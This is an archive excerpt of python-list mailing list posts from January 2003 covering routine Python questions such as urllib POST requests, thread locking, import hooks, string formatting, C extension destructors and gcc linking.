>generated when the corresponding Windows event occurs, but nothing else 
>seems to be treated... So at least in tk 8.3.2, it doesn't seem possible. 
>Maybe with a later version?
			.
			.
			.
No time now to tell full story.  Briefly, bind to
<Unmap> for iconify, and for maximize ... ummmm,
someone will have to get back to you.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From thephoenix235 at gmx.net  Thu Jan 30 00:34:44 2003
From: thephoenix235 at gmx.net (Chirayu Krishnappa)
Date: Wed, 29 Jan 2003 21:34:44 -0800
Subject: HTTP Post ?
References: <b160i7$vkccb$1@ID-146704.news.dfncis.de>
Message-ID: <i9eh3vc40p46ll753jab8of1nh6u84l5j7@4ax.com>

Hi,

Check out the ClientForm module at
http://wwwsearch.sourceforge.net/ClientForm/  It may be what you're
looking for.

Chirayu.

On Tue, 28 Jan 2003 14:30:38 +0100, "Shagshag13" <shagshag13 at yahoo.fr>
wrote:

>hello,
>
>i'm trying to simulate a http post with python. i've found the following in another post and it seems to work:
>
>import urllib
>params = {'param1': 'data1', 'param2': 'data2'}
>cparams = urllib.urlencode(params)
>fh = urllib.urlopen('http://localhost/cgi-bin/test.py', cparams)
>
>but i would like to understand how http post headers are built and how it's actually work, please do any of you have  pointers/links
>to relevant information on the subjet ?
>
>thanks in advance,
>
>s13.
>




From ben at wintersun.org  Tue Jan 28 17:49:38 2003
From: ben at wintersun.org (Ben Caradoc-Davies)
Date: Tue, 28 Jan 2003 22:49:38 GMT
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net>
Message-ID: <slrnb3e26l.141.ben@localhost.localdomain>

On Tue, 28 Jan 2003 14:39:01 -0500, Edward C. Jones <edcjones at erols.com> wrote:
> Which exception is it best to use in the following pieces of code?
> 
> if len(sys.argv) != 2:
>      raise SomeException, 'program requires exactly one argument'
> 
> if len(sometuple) != 3:
>      raise SomeException, 'sometuple must have length 3'

My favourite in these circumstances is AssertionError. You can even rewrite
them using the assert keyword.

assert len(sys.argv) == 2, 'program requires exactly one argument'

assert len(sometuple) == 3, 'sometuple must have length 3'

You can suppress the stack trace by handling the exception and printing just
the detail. This is quite useful for checking program arguments, when you want
users to get a nicely formatted error message.

try:
    args = read_args()  # parse the command-line args, checked with assert
except AssertionError, detail:
    print >>sys.stderr, detail
    sys.exit(1)

-- 
Ben Caradoc-Davies <ben at wintersun.org>
http://wintersun.org/
Imprisonment on arrival is the authentic Australian immigration experience.



From wouterm at spammers-unite-here.com  Tue Jan 14 00:48:41 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Tue, 14 Jan 2003 13:48:41 +0800
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com> <MPG.188c7c84d11207f89896bd@newszilla.xs4all.nl>
Message-ID: <b007n6$abt15@imsp212.netvigator.com>

Marius,

I have fax2pdf installed - this does not do the job as it does not recognise
g3 fax files. Sourceforge is indeed a good tool, I checked that as well.
Google gives in these cases so many results that it takes too long to find
the right one (and the options you found don't even work).
Better ask the experts right away :)

Wouter.

"marius" <postmaster at 127.0.0.1> wrote in message
news:MPG.188c7c84d11207f89896bd at newszilla.xs4all.nl...
>
> > I am fiddling a bit with mgetty+sendfax, writing a program in Python as
> > front-end.
> >
> > These programs send and receive their faxes as g3 format, which is fine
for
> > that purpose. For viewing and storing I want them as ps or pdf file! (to
> > convert between those two is trivial with ps2pdf).
> >
> > Any clue on how to convert from g3 to ps? (or where I could ask this
> > question)
> > I tried fax2ps (from libtiff-progs), doesn't work - complains that it
does
> > not know the g3 file (is not a tiff file).
> >
> > I don't mind to have to use a few steps - e.g. g3 --> tiff --> ps -->
pdf.
>
> A simple search of:
> http://www.google.com/searc
> h?q=convert%20g3%20tiff%
> 20pdf&sourceid=mozilla-
> search&start=0&start=0
> &ie=utf-8&oe=utf-8
>
> brought me to:
> http://fax2pdf.sourceforge.
> net/
>
> Another convert environment
> is:
> http://www.imagemagick.org





From andrew at indranet.co.nz  Sat Jan  4 16:02:24 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 05 Jan 2003 10:02:24 +1300
Subject: Newbie question on Re module
In-Reply-To: <e6ie1vsp53rudpmu3rbinuuvmi14i409bp@4ax.com>
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>	
 <cc197b7b.0301040224.554869e7@posting.google.com>
 <mailman.1041678186.20077.python-list@python.org>
 <3E17002B.8E67641E@pobox.com>
 <mailman.1041706928.10512.python-list@python.org>
 <e6ie1vsp53rudpmu3rbinuuvmi14i409bp@4ax.com>
Message-ID: <579690000.1041714144@localhost.localdomain>

Ok, I shouldn't post at 3AM without checking very carefully :-)

Point is, strings have lots of methods that are useful for this sort of 
thing, and regexps are both slower and not so clear for many applications.

And to tie this in to the other thread on filename globbing, the OPs 
problem can be solved that way too.

Andrew

--On Saturday, January 04, 2003 21:49:46 +0100 EpSyLOn 
<sasDOTepsylon at wanadoo.fr> wrote:

> On Sun, 05 Jan 2003 08:00:28 +1300, Andrew McGregor
> <andrew at indranet.co.nz> wrote:
>
>> Ah nuts, that should be str.index
>
> No no no :-)
> it's str.find()
> --                             ___
>                               |   |    \|/
>   sas.epsylon<at>wanadoo.fr   |   |   (o -)
>   ______ ______ ~_S_A_S_~   _ |   |ooO_(_)_Ooo
>  /  __  Y      \/ ____/  \/  !'   |/    \     \
>|   ____/ |__>  |____ \  `   |    |_ O   | ^   |
>  \_____/|   ___/______X_    Y_______|___/__||__|
>    ~*~  |__|R?cursif: \____/ adj, cf R?cursif.
> "Quand le sage montre la lune, l'imb?cile regarde le doigt."
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From gerrit at nl.linux.org  Sun Jan  5 16:43:00 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 5 Jan 2003 22:43:00 +0100
Subject: Python threading tutorial?
In-Reply-To: <95959723.0301051043.68a9e778@posting.google.com>
References: <mailman.1041679867.22000.python-list@python.org> <1rm7va.i44.ln@beastie.ix.netcom.com> <mailman.1041757332.19797.python-list@python.org> <95959723.0301051043.68a9e778@posting.google.com>
Message-ID: <20030105214300.GA19984@nl.linux.org>

Hi,

Dennis, JP and hg, thanks for your answers,

Gerrit wrote:
> > ...so I am currently not using the queues. Does that mean my application
> > is not reliable, or is this a reliable solution? It seems to run ok...

hg wrote:
> It's definitely not reliably with your Matrix class, and I'm surprised
> you haven't noticed any difficulties yet.


Hmm, I was actually not testing it. Now that I have added the following
code...:

if self.mx[self.x][self.y] is not self:
	raise "bezet...", "%s %s" % (self, self.mx[self.x][self.y])

...I see it is indeed wrong.

> > My source code:
> 
> > class Person(threading.Thread):
> ...
> > 	def move(self, dir):
>                 ...
> > 		if isinstance(self.mx[newx][newy], self.__class__):
> > 			raise Collision
> > 
> > 		self.mx[self.x][self.y] = self.mx.bg
> > 		self.mx[newx][newy] = self
> > 		self.x = newx
> > 		self.y = newy
> > ...

> For instance, if there is a thread switch immediately after isinstance
> the state of your "world" may become inconsistent:
> 
> - thread A: person A sees that (newx, newy) is empty
> - thread-switch to B: person B sees that (newx, newy) is empty, and
> occupies those coordinates
> - thread-switch back to A: person A occupies the same coordinates...
> 
> So, in class Matrix you have to add some kind of locking (see
> Queue.py). Or you have to add some locking mechanism to function move.

I see. The threading tutorial by Aahz Maruch is not an ideal tutorial to
read through the web, but page 33 helps me; it says:

mutex.acquire()
<dangerous code>
mutex.release()

confusingly, those acquire() and release() functions are not in the mutex
module but Lock() methods; I need to dive deeper in this matter, to better
understand this Lock()ing... hmm... my code seems to hang randomly when
adding this... hmm... I'll try and work this out and will probably come with
a pointed question later this week... hmm... studying... hmm... hmm..

hmm-ing yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From pyth at devel.trillke.net  Sat Jan 25 19:18:13 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sun, 26 Jan 2003 01:18:13 +0100
Subject: Security/Safety question re: eval() and dicts
In-Reply-To: <200301252359.16950.andy@eastonwest.co.uk>; from andy@eastonwest.co.uk on Sat, Jan 25, 2003 at 11:59:16PM +0000
References: <200301252359.16950.andy@eastonwest.co.uk>
Message-ID: <20030126011813.E10804@prim.han.de>

andy wrote:
> This is probably one for the Language Lawyers and Zen Pythonistas out there...
> 
> I'm still working (as time permits) on the 'repository' module I mentioned a 
> few weeks ago.  
> 
> I've renamed it 'chalkboard' to better convey its purpose, and subtitled it 
> 'lightweight remote shared dictionary' to further underline its 
> insignificance as an industrial-strength mission-critical utility module :-)  

i like that one :-)

> Still, I don't want the security side to be totally crap, so I thought I'd 
> better try to plug it's most glaring hole of all...

You really have to define the threat you want to attack against. 
"security" has no real meaning except as a buzzword which everybody
pretends to know about.  I mean do you want to attack against a
dictionary with 'evil' values?  How do you define 'evil', then, 
as 'crashing your interpreter' or 'silently changing data'? 

I would rather keep it simple and let users worry about an
appropriate security model.

have fun,

    holger




From phr-n2002b at NOSPAMnightsong.com  Fri Jan 17 04:14:27 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 17 Jan 2003 01:14:27 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com>
Message-ID: <7xiswob0jw.fsf@ruckus.brouhaha.com>

jbperez808 at yahoo.com (Jonathan P.) writes:
> > It's not too elegant, but
> > 
> > 	for j in range(len(x) - 1, -1, -1):
> > 	    i = x[j]
> > 	    print i
> 
> This looks like the best bet so far short of using 2.3.  One thing
> though, would using xrange instead of range be preferable?

Yes, xrange is preferable.  And I think the 2.3 method makes a second
copy of the list, so the wish to not make a copy is unsatisfied.

You could always say:

for j in range(len(x)):
    i = x[-j - 1]
    print i



From blaylock at indiana.edu  Wed Jan 22 15:41:10 2003
From: blaylock at indiana.edu (Joseph Blaylock)
Date: Wed, 22 Jan 2003 15:41:10 -0500 (EST)
Subject: Sound programming: Tone production in Python?
Message-ID: <Pine.SO4.4.44.0301221532420.23474-100000@jalapeno.ucs.indiana.edu>

I've been searching around the 'net for information on sound programming in
Python, particularly tutorials, etc., but the outlook appears to be pretty
bleak.  There's a lot of stuff about playing back previously-sampled audio
files, but I haven't found anything about making music or (especially)
generating raw tones.

For example, if I wanted to generate a tone of 200 hertz and a tone of 205
hertz on audio channels 0 and 1, respectively, for a duration of two seconds,
how might I accomplish this?  Pygame's sndarray module looks promising, but
seems a bit light on it's documentation, especially of a tutorial nature.

So: can anybody tell me a sure-fire way to generate tones from Python?  Bonus
points for sticking to packages that are in Debian unstable, or part of the
basic distribution.  And further, can anybody provide me pointers to more
generalized sound/music programming resources for Python, especially of a
tutorial nature?

Thanks!

    Joe





From maney at pobox.com  Thu Jan 16 23:13:51 2003
From: maney at pobox.com (maney at pobox.com)
Date: Fri, 17 Jan 2003 04:13:51 +0000 (UTC)
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <pIFU9.30525$aG4.1599274@twister.austin.rr.com> <b06k1k$art$2@wheel2.two14.net> <3E26E4D2.9EE02BFC@engcorp.com> <b06vho$auj$3@wheel2.two14.net> <3E271030.BA33621C@engcorp.com>
Message-ID: <b07vtv$b4j$1@wheel2.two14.net>

Peter Hansen <peter at engcorp.com> wrote:
> maney at pobox.com wrote:
>> Interesting.  Because mmost of what I'm parsing comes from Excel

> You just happen to be parsing data which has no embedded newlines in

I'm sure that's the case.  In fact, now that I think about it, one of
the more annoying spreadsheets (which is, alas, the only
machine-readable source that relates various data to each other (yes,
trying to improve the data systems in the office is on my long-term
plan list... somewhere)) often has a great mass of spaces between
certain parts of the data.  I guess I should be glad I'm not dealing
with more sophisticated users who might know the alt-enter thing.  :-/

>> That's me.  Why, I invented "do the simplest thing" *decades* before
>> those gen-X folks came along!  <really big grin>
> 
> So where were you all those years when I needed that?! :-)

Going through my "complications are *fun*" phase, I suppose.  You know,
the C++ years.

(Though, seriously, C++ as it was back in the Cfront days offered a lot
to make C a nicer language - and without templates and exceptions it
was actually implementable.  It wasn't ideal, but it certainly was a
step up from C.  As Knuth didn't say, but perhaps ought to have,
premature standardization is almost as bad as premature optimization.)

(Another serious digression.  I am finally doing more than skimming
hype and fluffy articles about XP, reading _Questioning XP_, and one
thing that's striking me is how many of the core practices really are
things I used to do, somewhat, and have lately found myself doing much
more consistently while working with Python - the small increment of
change / test / next increment cycle in particular benefits, of course,
from the fast turnaround (no compile/link step).  Then there are the
things that I wish someone had forcefully made me aware of about twenty
years ago, when it might have saved the project.  <sigh>)



From LogiplexSoftware at earthlink.net  Fri Jan 10 16:43:01 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 10 Jan 2003 13:43:01 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
In-Reply-To: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>
Message-ID: <1042234981.1820.152.camel@software1.logiplex.internal>

On Fri, 2003-01-10 at 13:18, Sean wrote:
> Anyone had trouble running wxPython on the GNOME environment that
> ships with redhat 7.3 (GNOME 1.4 I think...)?  Our software has been
> running into a lot of problems on that platform, and it looks like its
> not us, since the wxPython demo is having the same problems (text not
> displaying, weird visability errors, etc).  Anyone else had this
> problem?

This is usually a problem only seen on GNOME2, but you might try running
the demo with

env LANG='C' python demo.py

to see if that helps.  I assume by "weird visibility" errors you are
referring to fonts?  For instance, fonts display as small boxes rather
than text?  If not, please clarify.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From tjreedy at udel.edu  Sun Jan  5 14:24:03 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 5 Jan 2003 14:24:03 -0500
Subject: parameter/argument terminology
References: <mailman.1041769928.7987.python-list@python.org>
Message-ID: <WTGdnW6YtL3ZG4WjXTWcrg@comcast.com>

"Donnal Walter" <donnalcwalter at yahoo.com> wrote in message
news:mailman.1041769928.7987.python-list at python.org...
> In writing Python documentation for functions/methods, are the terms
> 'argument' and 'parameter' essentially interchangeable? Or is it
true that
> parameter usually refers to the definition and argument to the call?

I can't speak to 'are' and 'is' and 'usually'.  But I try to follow
the second choice.
The closest we have to an authority,
D. Knuth, Art of Comp. Prog. 1, Fund. Algo. 2nd ed, p 183, says...

"When a subroutine is written to handle a general case, it is often
written in terms of *parameters*, ...Particular values of parameters,
supplied when the subroutine is called, are know as *arguments*."

Since we have two terms and two separate but related concepts, it
seems more more useful for clear communication to use one term for
each than to use both interchangebly for both.

Terry J. Reedy





From skip at pobox.com  Sat Jan 25 11:48:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 10:48:22 -0600
Subject: Generating Unique Keys
In-Reply-To: <1043511783.4939.1.camel@refugeeMedia>
References: <1043511783.4939.1.camel@refugeeMedia>
Message-ID: <15922.49110.110304.235838@montanaro.dyndns.org>

    Mongryong> Is there python library for generating unique keys on Linux?
    Mongryong> Something sort of like Window's HKEY generator.  Thanks.

Unique over what domain?  For all time?  For just this run?  For just this
computer?  Int, float, string?

I'll just toss something simple out there to stimulate your creative juices.
What about:

    "%s:%f:%f" % (socket.gethostname(), time.time(), random.random())

I realize it's not guaranteed to be completely unique, but for most uses it
will probably be "good enough".  In fact

    "%s:%f" % (socket.gethostname(), time.time())

will probably be "good enough" on systems with decent clocks:

    >>> time.time() == time.time()
    False

Skip




From wurmy at earthlink.net  Thu Jan  2 14:46:08 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Thu, 02 Jan 2003 19:46:08 GMT
Subject: 2.3a1: importhooks oddity
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net> <just-60C271.18474702012003@news1.news.xs4all.nl> <3E148DD6.5040003@earthlink.net> <just-943E0F.20173402012003@news1.news.xs4all.nl>
Message-ID: <3E1497C4.1070605@earthlink.net>

[me]
>>Yes, this works... a whole slew of Wahey's. :-)  So it's not a bug, but this 
>>behavior is still a bit confusing, at least on Windows (as opposed to other 
>>platforms where it seems to work as expected). Is this the desired behavior? 

[JvR]
> Can you provide more details? Your original example showed that on 
> cygwin there was a fresh sys.path item (perhaps added by site.py or 
> after site.py was run) not yet "touched" by an import, and on Windows 
> there wasn't. You could compare sys.path with and without the -S ("no 
> site.py") option.

OK, updated code:

import sys

print '' in sys.path
print '' in sys.path_importer_cache.keys()

def f(path):
     print "Wahey!", `path`
     raise ImportError

sys.path_hooks.append(f)

import nothing

On Windows:

(P:\test\2.3) $ python test-importhooks-2.py
True
True
Traceback (most recent call last):
   File "test-importhooks-2.py", line 14, in ?
     import nothing  # needless to say, doesn't exist
ImportError: No module named nothing

On Cygwin:

(P:\test\2.3) $ c:\cygwin\usr\local\bin\python2.3.exe test-importhooks-2.py
True
False
Wahey! ''
Traceback (most recent call last):
   File "test-importhooks-2.py", line 14, in ?
     import nothing  # needless to say, doesn't exist
ImportError: No module named nothing

The empty string '' isn't a key in sys.path_importer_cache, apparently. 
(Interesting, when I run Cygwin-Python's interactive interpreter, and inspect 
sys.path_importer_cache, the empty string *is* there...)

When run with -S, both scripts produce a whole list of Wahey's, and the two 
conditions at the beginning are True and False, respectively.

>>If I understand correctly, then registering any function or class in
>>path_hooks is useless on Windows for path "", since it will be bypassed.
> 
> Not sure what you mean. I'd think you could still register a hook for "" 
> and make it do "something".

Hmm, well, I mean, that if a Windows user innocently runs code like

def f(path):
     # do something...

sys.path_hooks.append(f)

then this has no effect at all, because the function is just skipped.  Sure, I 
now know that I have to clear the cache (or maybe manipulate it in other ways), 
but this behavior still seems confusing. (And on a superficial level, *appear* 
to be non-portable... a script would work on one platform but not on the 
other.)  Now I realize that installing import hooks is not something you'd do 
every day, and probably not for the faint of heart, but still... maybe this 
caveat should be documented somewhere?

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From exarkun at intarweb.us  Tue Jan 21 14:43:26 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Tue, 21 Jan 2003 14:43:26 -0500
Subject: Partial string formatting?
In-Reply-To: <20030121192655.GE14028@unpythonic.net>
References: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com> <20030121192655.GE14028@unpythonic.net>
Message-ID: <20030121194326.GA940@meson.dyndns.org>

On Tue, Jan 21, 2003 at 01:26:57PM -0600, Jeff Epler wrote:
> On Tue, Jan 21, 2003 at 04:18:55PM +0000, Gon?alo Rodrigues wrote:
> [snip]
> 
> I think the following function 'format(s, m)' will work.  I tested it a
> little bit.
> 
> def format(s, d):
>     chunks = s.split('%')
>     out = [chunks[0]]
>     for f in chunks[1:]:
>         f = "%" + f
>         try:
>             out.append(f % d)
>         except KeyError:
>             out.append(f)
> 
>     return "".join(out)

  It chokes on %%, but that's easily fixed.  This solution makes me wonder
(once again) if being able to override the % behavior in str subclasses
would be worthwhile.  It's slightly better than my use-case of simply being
able to pass "format string".__mod__ around.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
--
 12:00am up 36 days, 9:48, 4 users, load average: 0.10, 0.14, 0.14
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030121/9357a326/attachment.sig>

From Padraig at Linux.ie  Fri Jan 31 08:02:20 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Fri, 31 Jan 2003 13:02:20 +0000
Subject: Font anti-aliasing in linux tkinter or wxPython
In-Reply-To: <3E398D6D.7070408@motorola.com>
References: <3E398D6D.7070408@motorola.com>
Message-ID: <3E3A73DC.30800@Linux.ie>

Stephen Boulet wrote:
> Just curious: anyone know if font anti-aliasing with tkinter or wxPython 
> is being worked on? I notice how much better tkinter apps look on 
> windows ...

You really should look at pygtk

P?draig.




From simonb at webone.com.au  Fri Jan  3 01:03:16 2003
From: simonb at webone.com.au (Simon Burton)
Date: Fri, 03 Jan 2003 17:03:16 +1100
Subject: PyCObject_FromVoidPtrAndDesc... proper destructor use in DLL, HELP!
References: <vk7R9.539327$P31.179659@rwcrnsc53>
Message-ID: <pan.2003.01.03.06.03.15.42692@webone.com.au>

On Fri, 03 Jan 2003 03:20:59 +0000, Kevin at Cazabon.com wrote:

> I need a little help on how to properly use PyCObject_FromVoidPtrAndDesc.  I
> can't seem to find any good examples, and I'm apparently not bright enough
> to understand the documentation (Hey, I'm a Python programmer, not a C
> programmer... why should I care about pointers and casting and crap!  That's
> why I LOVE Python in the first place!  q:]  )
hrmmm.

> 
> Here's the situation:
> 
> hTransform =  cmsCreateProofingTransform(blah, blah, );
> // this works just dandy... I now have a void * to a C object that I want to
> pass back to Python for later use in my DLL...(hTransform is a void *)
> 
> // I want to convert hTransform to a PyCObject so I can pass it back to
> Python for later use in my DLL, so I call:
> hTransformPointer = PyCObject_FromVoidPtrAndDesc(hTransform, hTransform,
> cmsDeleteTransform);

try using just
PyCObject_FromVoidPtr( hTransform,cmsDeleteTransform);
should work as you expect; hTransform will be passed to cmsDeleteTransform.

>
> // The destructor function is cmsDeleteTransform, and takes a single
> argument:  the void* for the transform I want to destruct,
> // So, I used hTransform as both the object and the desc args to
> PyCObject_FromVoidPtrAndDesc... is this correct?

i think the desc is for extra stuff; will come in as 2nd arg to
cmsDeleteTransform

bye,
Simon Burton.

PS. the python c source is a beautiful read if u ever get the chance.





From missedby2inches at gmx.net  Sat Jan 25 06:08:41 2003
From: missedby2inches at gmx.net (Two Inches)
Date: Sat, 25 Jan 2003 12:08:41 +0100
Subject: embedding python, missing symbols
In-Reply-To: <mailman.1043488125.24424.python-list@python.org>
References: <mailman.1043488125.24424.python-list@python.org>
Message-ID: <b0tr60$cls$1@mamenchi.zrz.TU-Berlin.DE>

Jack Diederich wrote:
> I can't seem to make gcc happy
> 
> using the example main() from the embedding docs and doing
> 
> gcc -I<path to Python.h> ./libpython2.2.a example.c

Use -L to tell gcc where to search for libs and -l to tell it which libs 
to link against.

something like this should work (not tested; I do prefer to separate 
compiling and links as a matter of taste):

gcc -o example.o -I<path to Python.h> example.c
gcc example.o -o example -L<path to Python-libs> -lpython2.2

You may also want to read some decent (g)cc documentation.
> 
> gives the following error
> 
> /tmp/ccBiGJVU.o: In function `main':
> /tmp/ccBiGJVU.o(.text+0x2d): undefined reference to `Py_Initialize'
> /tmp/ccBiGJVU.o(.text+0x3d): undefined reference to `PyString_FromString'
> /tmp/ccBiGJVU.o(.text+0x50): undefined reference to `PyImport_Import'
> <snip, more of the same>
> /tmp/ccBiGJVU.o(.text+0x299): undefined reference to `Py_Finalize'
> 
> ./libpython2.2.a is a hard link to the one installed in /usr/local 
> 
> I tried with python2.2 and 2.3a1
> I tried with gcc 2.96 and 3.0.4
> 
> redhat 7.1 with recompiled pythons and gccs
> 
> grepping the libpython* binaries shows a match for all the symbols
> 
> similar errors on groups.google are because the libpython*.a wasn't
> included.  I am including the lib ... gcc just doesn't care.
> 
> I must be missing something obvious, please let me know what it is!
> 
> btw, mod_python and other things compile happilly on the same machine.
> 
> TIA,
> 
> -jackdied
> 




From andrew-pythonlist at puzzling.org  Thu Jan 30 00:09:42 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 30 Jan 2003 16:09:42 +1100
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
In-Reply-To: <2463d77d.0301292034.1fdc47bd@posting.google.com>
References: <2463d77d.0301292034.1fdc47bd@posting.google.com>
Message-ID: <20030130050942.GA13449@frobozz.local>

On Wed, Jan 29, 2003 at 08:34:05PM -0800, Marcel wrote:
> Hi,
> 
> I'm trying to allocate nested lists up-front using the subject line,
> instead of generating :
> [ [ [], [], [] ], [ [], [], [] ] ]
> I end up with  :
> [ [], [ [], [], [] ] ]
> 
> I guess I screwed up something, but I'm failing to understand what...
> 
> Any idea ?

Try:
    [[[] for y in range(3)] for x in range(2)]

You don't want to multiply the lists, which copies the contents -- in fact,
multiplying an empty list by anything will always give you an empty list.

Why are you pre-allocating the lists, anyway?  The speed difference should
be negligible to just doing someList.append(..) as appropriate.

-Andrew.





From chrisk at nipltd.com  Fri Jan 24 16:41:34 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 24 Jan 2003 21:41:34 +0000
Subject: Strange response from newsgroup (or mailinglist)
References: <b0s9l9$2am$1@reader1.tiscali.nl>
Message-ID: <3E31B30E.1010803@nipltd.com>

GerritM wrote:
> Yesterday I posted a message directly to comp.lang.python and got the
> following return message:
> 
> ----start included message---
> Hallo,
> 
> Sie erhalten diese Nachricht vom Webmailsystem box.de (http://www.box.de).
> 
> Bezugnehmend auf Ihre Nachricht:
>     Re: Python magazine(s)?
> m?ssen wir Ihnen mitteilen, da? die eMail
> ihren Empf?nger '' nicht erreicht hat.
> 
> 
> Grund: The user has exceeded the maximum number of allowed messages.
> 
> Der Mailheader Ihrer Nachricht wurde angeh?ngt.
> Bitte pr?fen Sie den Empf?nger!
> 
> Mit freundlichem Gruss
> Ihr Box.de webmail-Team
> 
> -------------------------------------------------------------
> Received: (qmail 3552 invoked by uid 512); 23 Jan 2003 20:57:04 -0000
> Received: (qmail 3548 invoked from network); 23 Jan 2003 20:57:04 -0000
> Received: from unknown (HELO mail.python.org) (12.155.117.29)  by
> 217.195.37.29
>     with SMTP; 23 Jan 2003 20:57:04 -0000
> Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org)  by
>     mail.python.org with esmtp (Exim 4.05)  id 18boOy-0003hY-00; Thu, 23 Jan
>     2003 15:56:44 -0500
> Date: Thu, 23 Jan 2003 21:51:53 +0100
> From: "GerritM" <gmuller at worldonline.nl>
> Subject: Re: Python magazine(s)?
> Sender: python-list-admin at python.org
> To: python-list at python.org
> Content-Type: text/plain
> Content-Transfer-Encoding: quoted-printable
> Message-Id: <b0pkpn$9ft$1 at reader1.tiscali.nl>
> Delivered-To: boxxxdbp-box.de-tf at box.de
> Errors-To: python-list-admin at python.org
> Lines: 37
> List-Archive: <http://mail.python.org/pipermail/python-list/>
> List-Help: <mailto:python-list-request at python.org?subject=help>
> List-Id: General discussion list for the Python programming language
>     <python-list.python.org>
> List-Post: <mailto:python-list at python.org>
> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>,
>     <mailto:python-list-request at python.org?subject=subscribe>
> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>,
>     <mailto:python-list-request at python.org?subject=unsubscribe>
> Mime-Version: 1.0
> Newsgroups: comp.lang.python
> Nntp-Posting-Date: Thu, 23 Jan 2003 20:54:15 +0000 (UTC)
> Nntp-Posting-Host: 195-241-109-126-mx.xdsl.tiscali.nl
> Organization: Tiscali Benelux
> Path:
> news.baymountain.com!ash.uu.net!dca.uu.net!logbridge.uoregon.edu!kibo.news.d
> emon.net!demon!lnewspeer00.lnd.ops.eu.uu.net!bnewspeer00.bru.ops.eu.uu.net!e
> mea.uu.net!news.tiscali.nl!not-for-mail
> Precedence: bulk
> References: <tdMX9.440$0L3.172774 at news2.news.adelphia.net>
>     <mailman.1043305901.23880.python-list at python.org>
> X-Beenthere: python-list at python.org
> X-Complaints-To: newsmaster at tiscali.nl
> X-Mailman-Version: 2.0.13 (101270)
> X-Mimeole: Produced By Microsoft MimeOLE V5.50.4920.2300
> X-Msmail-Priority: Normal
> X-Newsreader: Microsoft Outlook Express 5.50.4920.2300
> X-Priority: 3
> X-Scantime: 0
> X-Trace: reader1.tiscali.nl 1043355255 9725 195.241.109.126 (23 Jan 2003
> 20:54:15
>     GMT)
> Xref: news.baymountain.com comp.lang.python:200745
> 
> ---end included message---
> 
> --
> www.extra.research.philips.com/natlab/sysarch/
> 
> 

Hmm, I've had mail from box.de, I just assumed it was spam and nuked it

babelfish says:

following return message:
 > > included message -- >,
 > > you this message of the Webmailsystem box.de (http://www.box.de) 
receive start to hello.
 > > referring to your message:
 > RH: Python magazine (s)?
 > we must communicate to you that those did not reach email
 > their receiver ''
 >
 > > reason: The user has exceeded the maximum NUMBER OF allowed messages.
 > > the Mailheader of your message attached
 > please to examine it the receiver!
 > > with kind regards
 > you Box.de webmail team





From cnetzer at mail.arc.nasa.gov  Wed Jan  8 18:00:19 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 8 Jan 2003 15:00:19 -0800
Subject: no side effects
In-Reply-To: <3E1CA7EA.7080209@freemail.hu>
References: <3E1CA7EA.7080209@freemail.hu>
Message-ID: <200301082300.PAA00229@mail.arc.nasa.gov>

On Wednesday 08 January 2003 14:36, Nagy L?szl? wrote:
> Another explanation for a newbie would be this.
>
> When comparing C++ (or other similar language) and Python for loop,
> the first thing I would mention is that in C++, a for loop is terminated
> by a condition
> but in Python, there is no condition anyway.

And furthermore, Python can loop over arbitrary objects.  So as a thought 
experiment, how would one expect these to work (assuming you were from the C 
mindset)?

for i in ["a","b","c"]:
   print i,
   i = 3

or

for i in "abc":
   print i,
   i = 3

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From bokr at oz.net  Thu Jan 16 04:21:44 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 09:21:44 GMT
Subject: Interesting problem comparing strings with integer values...
References: <dkub2vgjq4bvmipltiq1rtt1aaumqrnoc8@4ax.com>
Message-ID: <b05tj8$u9r$0@216.39.172.122>

